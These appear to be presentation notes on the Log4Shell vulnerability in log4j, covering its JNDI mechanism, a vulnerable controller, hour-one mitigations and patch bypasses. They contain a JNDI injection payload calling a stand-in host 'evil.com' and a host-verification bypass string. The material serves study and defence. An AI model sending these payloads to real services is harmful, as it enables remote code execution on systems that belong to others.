a lot of people talked about this — https://github.com/snyk-labs/awesome-log4shell
${jndi:ldap://evil.com:1389/a} in ALL fields!
Underlying mechanism
- log4j could do JNDI lookups all along
- no gadget required, javaCodeBase+javaFactory in LDAP
Vulnerable application example
@RestController
public class MainController {
private static final Logger logger = LogManager.getLogger("HelloWorld");
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
logger.info("Received a request for API version " + apiVersion);
return "Hello, world!";
}
}
Exploitation
log.info("${jndi:ldap://evil.com:1389/a}")
~ ldapsearch -x -H ldap://patch.log4shell.com:1389
# extended LDIF
#
# LDAPv3
# base <> (default) with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
#
dn:: Y249bG9nNHNoZWxsLWhvdHBhdGNoLCA=
cn: log4shell-hotpatch
javaClassName: attempting to patch Log4Shell vulnerability with payload hosted
on: http://patch.log4shell.com:80/Log4ShellHotpatch.class
javaCodeBase: http://patch.log4shell.com:80/
objectclass: javaNamingReference
javaFactory: Log4ShellHotpatch
# search result
search: 2
result: 0 Success
# numResponses: 2
# numEntries: 1
http://patch.log4shell.com:80/Log4ShellHotpatch.class
public class Log4ShellHotpatch implements ObjectFactory {
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
/* payload */
}
}
Hour-one mitigations
- https://github.com/apache/logging-log4j2/compare/rel/2.14.1…rel/2.15.0
- limits JNDI classes and protocols
- limits trusted hosts to load classes from
ENV LOG4J_FORMAT_MSG_NO_LOOKUPS true
%m{nolookups}
Patch bypasses
- JNDI still usable, so DoS was found (boring) and subsequently escalated to RCE (not boring)
LOG4J_FORMAT_MSG_NO_LOOKUPS
and%m{nolookups}
bypassed via altering the thread context (e.g.${ctx:apiversion}
) in some cases- host verification bypassed with
127.0.0.1#evil.com
Post-patch vulnerable code example
@GetMapping("/")
public String index(@RequestHeader("X-Api-Version") String apiVersion) {
// Add user controlled input to threadcontext;
// Used in log via ${ctx:apiversion}
ThreadContext.put("apiversion", apiVersion);
// Notice how these changes remove apiVersion from directly being logged
logger.info("Received a request for API version");
return "Hello, world!";
}